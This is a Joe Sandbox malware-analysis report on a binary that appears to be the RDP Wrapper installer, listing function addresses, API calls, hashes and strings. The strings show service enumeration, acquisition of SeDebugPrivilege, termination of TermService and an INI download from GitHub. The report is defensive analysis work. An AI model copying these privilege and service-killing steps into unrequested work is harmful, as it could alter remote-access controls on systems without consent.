API String ID: 426534248-2967466578
Opcode ID: c2c22b4f6afaac3322ec1ba7b89a81b7c1940998765c8b0d5641ec05d20bdfa1
Instruction ID: b362d454dc0c99aa6135db0f351dbab6b5904c2f5f97e8c1ae29e40b3cae7ae2
Opcode Fuzzy Hash: c2c22b4f6afaac3322ec1ba7b89a81b7c1940998765c8b0d5641ec05d20bdfa1
Instruction Fuzzy Hash: 2921DA72A005195BCB10EAA4CD89BEF736DEB84314F0845BBA554E32C1EA7CEA458B58

Function 00408908 Relevance: 4.6, APIs: 3, Instructions: 100COMMON

Download Yara Rule

APIs

IsValidLocale.KERNEL32(?,00000002,00000000,00408A6F,?,?,?,00000000), ref: 004089B4
GetLocaleInfoW.KERNEL32(00000000,00000059,?,00000055,?,00000002,00000000,00408A6F,?,?,?,00000000), ref: 004089D0
GetLocaleInfoW.KERNEL32(00000000,0000005A,?,00000055,00000000,00000059,?,00000055,?,00000002,00000000,00408A6F,?,?,?,00000000), ref: 004089E1

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Locale$Info$Valid
String ID:
API String ID: 1826331170-0
Opcode ID: 22c6a01b53f4869b0805d6a69e827c795f3fdd97ab41ae37c19bcf7436934d77
Instruction ID: a5145651339b4fb3455c536bf826b1f6d015bb6bedb64d7d22cca76e959b3329
Opcode Fuzzy Hash: 22c6a01b53f4869b0805d6a69e827c795f3fdd97ab41ae37c19bcf7436934d77
Instruction Fuzzy Hash: 4031C274A00618ABDF20EB55DD81BAF77B5EB44700F1040BBA588B72D1DA7D5E40CF5A

Function 00414698 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?,00443136,00000000,0044315A), ref: 004146A6

Strings

8[D, xrefs: 004146EC

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Version
String ID: 8[D
API String ID: 1889659487-4257705004
Opcode ID: 4c73b04ee2d3421a5135ac7becaf35c551135d218803d44854ea7cc165e5ef2a
Instruction ID: 2f0940f951a798b0a8c1b92e6229d48fd5c0b6d32f60b1d075f360ba34157daa
Opcode Fuzzy Hash: 4c73b04ee2d3421a5135ac7becaf35c551135d218803d44854ea7cc165e5ef2a
Instruction Fuzzy Hash: 7DF030B8605B419FDB00DF18E845659B7E0EB89314F00483AF485D7391D738A844CB6E

Function 0040F73C Relevance: 3.0, APIs: 2, Instructions: 23fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,?,0040F7B7,00000000,?,00447324,0043D527,00000000,0043D55E,?,00447324,0000000B,00000000,00000000), ref: 0040F757
FindClose.KERNEL32(00000000,00000000,?,00000000,?,0040F7B7,00000000,?,00447324,0043D527,00000000,0043D55E,?,00447324,0000000B,00000000), ref: 0040F762

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 8349d8abcabe035f766b9fd57bf523843a29f3c72d549b36151af9bdffc9284f
Instruction ID: 44d6f2536772e544dca19d4554f13a915e571bc99722c0a0b507a91726501656
Opcode Fuzzy Hash: 8349d8abcabe035f766b9fd57bf523843a29f3c72d549b36151af9bdffc9284f
Instruction Fuzzy Hash: B9E0CD6261470815C72065B90CC9B5B728C5B04328F040BB77D5CF35D2FA3D8554115F

Function 0040FAE8 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?), ref: 0040FB09

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 061f37ac546520710da28799b67137028b65efc101c0d4d81ccfdcd92c7e26f4
Instruction ID: 58712635a06311b99fbeb36610203dfa2cb34c225fc8d295b9fe620e031658d4
Opcode Fuzzy Hash: 061f37ac546520710da28799b67137028b65efc101c0d4d81ccfdcd92c7e26f4
Instruction Fuzzy Hash: DC1112B5E00209AFDB04CF99C881DAFF7F9EFC8304B14C569A508E7254E6319A018B90

Function 00412C4C Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,00000100), ref: 00412C6A

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 7e0a8c61708f8e5fe9311120f60f8f5fdb241708797c452f410103c20568c8cd
Instruction ID: 9da8dff9c55e20549594a614ff7d844013acaeb15ab394cddf5a90cc700bc9e0
Opcode Fuzzy Hash: 7e0a8c61708f8e5fe9311120f60f8f5fdb241708797c452f410103c20568c8cd
Instruction Fuzzy Hash: 69E0927170021817E314A5695C86DEB725C9B58300F00417FBA06D7387EDB89D6046ED

Function 00412C4A Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,00000100), ref: 00412C6A

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: ab3a7bc9c987a33d67a9bd60b42fd60c334eb7a711f5428dc5487131ec69b403
Instruction ID: 70141b24f99fd98ac1db3019ee377dee0462c825b9fd2fb3f3473e8324f2be5c
Opcode Fuzzy Hash: ab3a7bc9c987a33d67a9bd60b42fd60c334eb7a711f5428dc5487131ec69b403
Instruction Fuzzy Hash: 01E0DF3270031827F31495689D86EFB729C9B58300F00427BBE06D3382FDB49DA046E9

Function 00412C98 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0041524C,00000000,00415476,?,?,00000000,00000000), ref: 00412CAB

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: c8c474e4d6c9df360d6374c6a6ae5d3dec4118d646be2418b28a4789b35754d1
Instruction ID: c0299d43d85d1b47cbbe3802d462e1d0899c6c80b318dcec9f9e75b03fa43e2d
Opcode Fuzzy Hash: c8c474e4d6c9df360d6374c6a6ae5d3dec4118d646be2418b28a4789b35754d1
Instruction Fuzzy Hash: 17D05EB63092202AE210525B6E45DBF56DCCBC87A2F10443BBA48C6242E268CC5693F9

Function 00411154 Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00411158

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: e8d3b386f6a7d5cca3471eaf155d8864694d2401fe0684cb90b003475a380097
Instruction ID: 9e8cd4c1e66a35051b5eb1694121f13696e39ccab0ec977751e8beb904ec194d
Opcode Fuzzy Hash: e8d3b386f6a7d5cca3471eaf155d8864694d2401fe0684cb90b003475a380097
Instruction Fuzzy Hash: D1A0110080882002C2803B2A0C032383080A800A30FC80BAAB8F8A02E2EA2E023088AB

Function 00417D30 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(oleaut32.dll), ref: 00417D39

Part of subcall function 00417D04: GetProcAddress.KERNEL32(00000000), ref: 00417D1D

Strings

VarMul, xrefs: 00417DB5
VarCmp, xrefs: 00417E4F
VarAdd, xrefs: 00417D89
VarBstrFromDate, xrefs: 00417EFF
VarNot, xrefs: 00417D73
VariantChangeTypeEx, xrefs: 00417D47
VarXor, xrefs: 00417E39
VarI4FromStr, xrefs: 00417E65
VarBoolFromStr, xrefs: 00417ED3
VarAnd, xrefs: 00417E0D
VarR8FromStr, xrefs: 00417E91
VarBstrFromCy, xrefs: 00417EE9
VarR4FromStr, xrefs: 00417E7B
VarNeg, xrefs: 00417D5D
VarDateFromStr, xrefs: 00417EA7
VarIdiv, xrefs: 00417DE1
oleaut32.dll, xrefs: 00417D34
VarCyFromStr, xrefs: 00417EBD
VarBstrFromBool, xrefs: 00417F15
VarMod, xrefs: 00417DF7
VarSub, xrefs: 00417D9F
VarOr, xrefs: 00417E23
VarDiv, xrefs: 00417DCB

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: 81f6385aaf31a6d67a1cea20af38a948cd8301cfd12a13a567f36fd7be5fd1ef
Instruction ID: c99ab9519c0edb256345e3c1c1fceae5193512a11a1c4a98270a3cb03c9355dc
Opcode Fuzzy Hash: 81f6385aaf31a6d67a1cea20af38a948cd8301cfd12a13a567f36fd7be5fd1ef
Instruction Fuzzy Hash: 25412575A4C2085A5305AB6EB8018FA77B9DA86324374D07FF5088B745DF7CACC2876D

Function 0043AE28 Relevance: 35.1, APIs: 12, Strings: 8, Instructions: 140serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000001,00000000,0043AFF3,?,?,?,00447324), ref: 0043AE85
GetLastError.KERNEL32(00000000,ServicesActive,00000001,00000000,0043AFF3,?,?,?,00447324), ref: 0043AE90
OpenServiceW.ADVAPI32(00000000,00000000,00000001,00000000,ServicesActive,00000001,00000000,0043AFF3,?,?,?,00447324), ref: 0043AED6
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000001,00000000,ServicesActive,00000001,00000000,0043AFF3,?,?,?,00447324), ref: 0043AEE2
GetLastError.KERNEL32(00000000,00000000,00000000,00000001,00000000,ServicesActive,00000001,00000000,0043AFF3,?,?,?,00447324), ref: 0043AEE7

Strings

[*] Checking , xrefs: 0043AE56
$sD, xrefs: 0043AE51, 0043AE9D, 0043AEF4, 0043AF33, 0043AF94
[-] OpenSCManager error (code , xrefs: 0043AEA2
..., xrefs: 0043AE68
ServicesActive, xrefs: 0043AE7E
[-] OpenService error (code , xrefs: 0043AEF9
[-] QueryServiceConfig error (code , xrefs: 0043AF99
[-] QueryServiceConfig failed., xrefs: 0043AF38

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLastOpenService$CloseHandleManager
String ID: $sD$...$ServicesActive$[*] Checking $[-] OpenSCManager error (code $[-] OpenService error (code $[-] QueryServiceConfig error (code $[-] QueryServiceConfig failed.
API String ID: 48634454-3812534468
Opcode ID: 091b0035d6a152c75cbcb3aeab795098a1a073895450a053807206380d0ec52c
Instruction ID: 7a774fc46d996de6837286bf894840c9c95f128f26b1d3a09438fbe6509dfab0
Opcode Fuzzy Hash: 091b0035d6a152c75cbcb3aeab795098a1a073895450a053807206380d0ec52c
Instruction Fuzzy Hash: 41418FA4A08200AAD711F7B68C42A5F76A99F88308F11917BB514B6293CB3CAD01967F

Function 0043F7A4 Relevance: 22.7, APIs: 2, Strings: 13, Instructions: 229sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0043C45C: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000200,00000000,0043C52D,?,00447324,?,0043F7DC,00000000,0043FAEE,?,?,?,00447324), ref: 0043C4F1

Part of subcall function 0043B7D4: OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000005,00000000,0043BC5D,?,?,?,00447324,00000000,00000000,?,00443F06,00000000,00443FB2), ref: 0043B801
Part of subcall function 0043B7D4: GetLastError.KERNEL32(00000000,ServicesActive,00000005,00000000,00000000,00000000,00000030,00000003,?,00000000,?,?,?,00000000), ref: 0043B80C
Part of subcall function 0043B7D4: EnumServicesStatusExW.ADVAPI32(00000000,00000000,00000030,00000003,?,00000000,?,?,?,00000000), ref: 0043B8A2
Part of subcall function 0043B7D4: GetLastError.KERNEL32(00000000,00000000,00000030,00000003,?,00000000,00000000,?,?,00000000,00000000), ref: 0043B8AF
Part of subcall function 0043B7D4: CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000030,00000003,?,00000000,00000000,?,?,00000000,00000000), ref: 0043B8BF
Part of subcall function 0043B7D4: CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000030,00000003,?,00000000,?,?,?,00000000), ref: 0043B99F

Part of subcall function 0043BF00: GetCurrentProcess.KERNEL32(00000028,?,00000000,0043C09E,?,?,00447324), ref: 0043BF3D
Part of subcall function 0043BF00: OpenProcessToken.ADVAPI32(00000000,00000028,?,00000000,0043C09E,?,?,00447324), ref: 0043BF43
Part of subcall function 0043BF00: GetLastError.KERNEL32(00000000,00000028,?,00000000,0043C09E,?,?,00447324), ref: 0043BF4C

Part of subcall function 0043C1C8: OpenProcess.KERNEL32(00000001,00000000,0000061C,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008,00000000,00000000), ref: 0043C1CF
Part of subcall function 0043C1C8: GetLastError.KERNEL32(00000001,00000000,0000061C,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008,00000000,00000000), ref: 0043C1DA
Part of subcall function 0043C1C8: TerminateProcess.KERNEL32(00000000,00000000,00000001,00000000,0000061C,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008,00000000), ref: 0043C219
Part of subcall function 0043C1C8: CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,00000000,0000061C,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008), ref: 0043C223
Part of subcall function 0043C1C8: GetLastError.KERNEL32(00000000,00000000,00000000,00000001,00000000,0000061C,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008), ref: 0043C228
Part of subcall function 0043C1C8: CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,00000000,0000061C,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008), ref: 0043C265

Sleep.KERNEL32(000003E8,?,?,00000000,0043FAEE,?,?,?,00447324), ref: 0043F9CC
Sleep.KERNEL32(000001F4,000003E8,?,?,00000000,0043FAEE,?,?,?,00447324), ref: 0043FA09

Part of subcall function 0043B58C: OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000001,00000000,0043B6CE,?,00000000), ref: 0043B5EA
Part of subcall function 0043B58C: GetLastError.KERNEL32(?,00000000,ServicesActive,00000001,00000000,0043B6CE,?,00000000), ref: 0043B5F9

Strings

$sD, xrefs: 0043F86A, 0043F895, 0043F92B, 0043F952, 0043F97C, 0043F99A, 0043FA8A, 0043FAA5
[*] Terminating service..., xrefs: 0043F99F
[+] Update completed., xrefs: 0043FA8F
[*] Latest update date: , xrefs: 0043F930
[*] Current update date: , xrefs: 0043F86F
[+] New update is available, updating..., xrefs: 0043F981
TermService, xrefs: 0043FA80
%d.%.2d.%.2d, xrefs: 0043F85C, 0043F91D
[-] Failed to download latest INI from GitHub., xrefs: 0043F89A
[*] Everything is up to date., xrefs: 0043F957
SeDebugPrivilege, xrefs: 0043F9B3
[*] Your INI file is newer than public file. Are you a developer? :), xrefs: 0043FAAA
rdpwrap.ini, xrefs: 0043F7ED

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLast$CloseHandleOpenProcess$ManagerServiceSleep$CurrentEnumEnvironmentExpandServicesStatusStringsTerminateToken
String ID: $sD$%d.%.2d.%.2d$SeDebugPrivilege$TermService$[*] Current update date: $[*] Everything is up to date.$[*] Latest update date: $[*] Terminating service...$[*] Your INI file is newer than public file. Are you a developer? :)$[+] New update is available, updating...$[+] Update completed.$[-] Failed to download latest INI from GitHub.$rdpwrap.ini
API String ID: 3534747103-2332903941
Opcode ID: 5622ae87d0b029e3d159e39c34d23c7b577837b013ae26526cbfe9c4d1771b2e
Instruction ID: 35adde3c6c2359a68fd4b220f91aa0339034fd12c6c7055d874297ef65b27e77
Opcode Fuzzy Hash: 5622ae87d0b029e3d159e39c34d23c7b577837b013ae26526cbfe9c4d1771b2e
Instruction Fuzzy Hash: D5813074E042099BDB04FBA9D48169DB7B1EF8D308F51507AF504F7392DB38AD058B6A

Function 0043D938 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 141fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0043C45C: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000200,00000000,0043C52D,?,00447324,?,0043F7DC,00000000,0043FAEE,?,?,?,00447324), ref: 0043C4F1

DeleteFileW.KERNEL32(00000000,00000000,0043DB1F,?,00447324,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00443DA0,000003E8), ref: 0043D985
GetLastError.KERNEL32(00000000,00000000,0043DB1F,?,00447324,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00443DA0,000003E8), ref: 0043D98E
DeleteFileW.KERNEL32(00000000,00000000,00000000,0043DB1F,?,00447324,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00443DA0), ref: 0043DA04
GetLastError.KERNEL32(00000000,00000000,00000000,0043DB1F,?,00447324,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00443DA0), ref: 0043DA0D

Strings

$sD, xrefs: 0043D99B, 0043D9C8, 0043DA1A, 0043DA47, 0043DA9F, 0043DAE5
[+] Removed file: , xrefs: 0043D9CD, 0043DA4C
[+] Removed folder: , xrefs: 0043DAEA
[-] RemoveDirectory error (code , xrefs: 0043DAA4
rdpwrap.ini, xrefs: 0043D96F, 0043D9DB
[-] DeleteFile error (code , xrefs: 0043D9A0, 0043DA1F

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: DeleteErrorFileLast$EnvironmentExpandStrings
String ID: $sD$[+] Removed file: $[+] Removed folder: $[-] DeleteFile error (code $[-] RemoveDirectory error (code $rdpwrap.ini
API String ID: 1427661212-4281953003
Opcode ID: 956330302bce8ffae5f1d8e764e19dadb3842e9c2b8f573e08a3f0797d5542d8
Instruction ID: ad05ad182a3b94ca814d20fd028ad2e32e4b81082960bb03fd6afff070a44f54
Opcode Fuzzy Hash: 956330302bce8ffae5f1d8e764e19dadb3842e9c2b8f573e08a3f0797d5542d8
Instruction Fuzzy Hash: 31414F74A042049BDB00F7B6D94286EB375AF8D308F52813BF500B7697DA3CBD059A6E

Function 0041344C Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 97filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0041325C: VirtualQuery.KERNEL32(?,?,0000001C,00000000,00413408), ref: 0041328F
Part of subcall function 0041325C: GetModuleFileNameW.KERNEL32(?,?,00000105), ref: 004132B3
Part of subcall function 0041325C: GetModuleFileNameW.KERNEL32(00400000,?,00000105), ref: 004132CE
Part of subcall function 0041325C: LoadStringW.USER32(00000000,0000FFE5,?,00000100), ref: 00413369

